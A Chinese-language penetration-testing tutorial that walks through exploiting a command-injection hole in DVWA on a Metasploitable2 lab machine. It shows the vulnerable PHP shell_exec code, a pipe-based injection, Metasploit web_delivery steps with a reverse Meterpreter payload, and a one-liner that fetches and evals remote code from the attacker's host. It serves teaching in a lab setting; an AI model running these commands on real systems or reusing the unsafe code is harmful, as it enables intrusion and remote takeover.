Kali滲透測試之使用Metasploit對Web應用的攻擊
Web應用程序的漏洞數量眾多,這裡我們以其中一個命令註入漏洞為例復現一下。這種漏洞源於Web應用程序沒有對用戶輸入的內容進行準確的驗證,從而導致操作系統執行瞭攻擊者輸入的命令。下面是一段運行在Metasploitable2靶機上的PHP腳本,它來自於DVWA,代碼如下:
<html> <body> <form name="ping" action="#" method="post"> <input type="text" name="ip" size="30"> <input type="submit" value="submit" name="submit"> </form> </body> </html>
首先是是一個帶有輸入框的頁面代碼,在瀏覽器中這段代碼會被執行成一個如下圖所示的頁面:
當用戶在 圖中所示的文本框中輸入一個IP地址,例如“127.0.0.1”,服務器會將這個值傳遞給下面的PHP腳本進行處理。
<?php if(isset($_POST['submit'])){ $target = $_REQUEST['ip']; $cmd = shell_exec('ping -c 3 '. $target); } ?>
該腳本會將用戶輸入的值“127.0.0.1”保存到變量$target中。這樣一來,將‘ping -c 3’與其連接起來,系統要執行的命令就變成瞭以下形式:
shell_exec('ping -c 3 127.0.0.1');
shell_exec()是PHP中執行系統命令的4個函數之一, 它通過shell環境執行命令,並且將完整的輸出以字符串的方式返回。也就是說,PHP先運行一個shell環境,然後讓shell進程運行命令,並且把所有輸出以字符串形式返回,如果程序執行錯誤或者沒有任何輸出,則返回null。
這命令執行以後,PHP會調用操作系統對127.0.0.1這個IP地址執行ping操作,這裡使用參數-c(指定ping操作的次數),是因為Linux在進行ping操作時不會自動停止,所以需要限制ping的次數。
正常情況,用戶可以使用網站這個功能。但是這段代碼編寫並不安全,攻擊者可以借此來執行除瞭ping之外的操作,而且很容易實現。攻擊者接著系統命令的特性,在輸入中國呢添加“|”或者“&&”管道符來執行其他命令。例如在Linux系統中,“|”是管道命令操作符。利用“|”將兩個命令隔開,管道符左邊命令的輸出就會作為管道符右邊命令的輸入。如下圖所示:
提交這個參數以後,系統會執行以下命令:
shell_exec('ping -c 3 127.0.0.1|id');
實際上,這裡一共執行瞭兩條命令,分別是“ping -c 127.0.0.1”和“id”,第一條命令的輸出會作為第二條命令的輸入,但是第一條命令的結果不會顯示,隻有第二條命令的結果才會顯示出來。這就是命令註入漏洞,當攻擊者發現目標網站存在命令註入攻擊漏洞以後,可以很輕易地實現對其進行滲透。
實 驗 環 境
攻擊機:Linux kali 5.10.0 IP: 192.168.68.125
服務器:Metasploitable2-Linux IP:192.168.68.205
接下來結合滲透工具Metasploit來完成一次攻擊的示例,滲透的目標是運行瞭DVWA的Metasploitable2服務器。DVWA的“Command Execution”命令執行漏洞界面,如下圖所示:
Metasploit中包含一個十分方便的模塊web_delivery,它包含瞭以下功能:
- 生成一個木馬程序
- 啟動一個發佈該木馬程序的服務器
- 生成一條命令,當目標主機執行這條命令以後,就會連接服務器A,下載並執行該木馬程序
實 驗 步 驟
1. 在Kali中啟動並進入msf6
輸入如下命令:
┌──(kali?kali)-[~] └─$ msfconsole msf6 >
2. 啟動web_delivery模塊
msf6 > use exploit/multi/script/web_delivery
這個模塊中涉及的參數如下圖所示:
我們需要指定目標的類型,在本例中目標是一臺運行著PHP語言編寫的Web應用程序的Linux服務器,所以可將類型指定為PHP。使用“show targets”命令可以看到web_delivery模塊所支持的類型,如下圖所示:
3. 設置木馬類型、木馬主控端IP地址和端口
輸入如下命令:
msf6 exploit(multi/script/web_delivery) > set target 1 msf6 exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp msf6 exploit(multi/script/web_delivery) > set lhost 192.168.68.125 msf6 exploit(multi/script/web_delivery) > set lport 8888
結果如下圖所示:
4. 執行run
輸入run命令,模塊web_delivery會啟動服務器。如下圖所示:
圖中紅框中的命令非常重要,它就是我們要在目標系統上運行的命令。
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.68.125:8080/E7mvRltiKXUbdQ', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false])));
5. 在靶機DVWA中“Command Execution”頁面中註入命令
輸入一個由&&連接的IP地址和上面的命令,如下圖所示:
點擊“submit”按鈕,目標系統就會下載並執行木馬文件,之後會建立一個Meterpreter會話,如下圖所示:
6. 在Kali中查看session
會話已經建立,但是該模塊不會自動進入Meterpreter會話,我們可以使用sessions命令查看已經打開的活動會話,輸入如下命令:
msf6 exploit(multi/script/web_delivery) > sessions
如下圖所示:
執行如下命令,進入會話中:
msf6 exploit(multi/script/web_delivery) > sessions -i 1
下圖演示瞭整個命令註入的完整過程:
到此這篇關於Kali滲透測試:使用Metasploit對Web應用的攻擊的文章就介紹到這瞭,更多相關Kali滲透測試內容請搜索WalkonNet以前的文章或繼續瀏覽下面的相關文章希望大傢以後多多支持WalkonNet!
推薦閱讀:
- 永恒之藍實戰教程之Mac通過Metasploit攻擊Server2008的詳細過程
- PHP網絡安全之命令執行漏洞及防禦
- Shell腳本中$符號的幾種用法小結
- kali虛擬機mysql修改綁定ip的問題
- 滲透測試信息收集查詢真實IP過程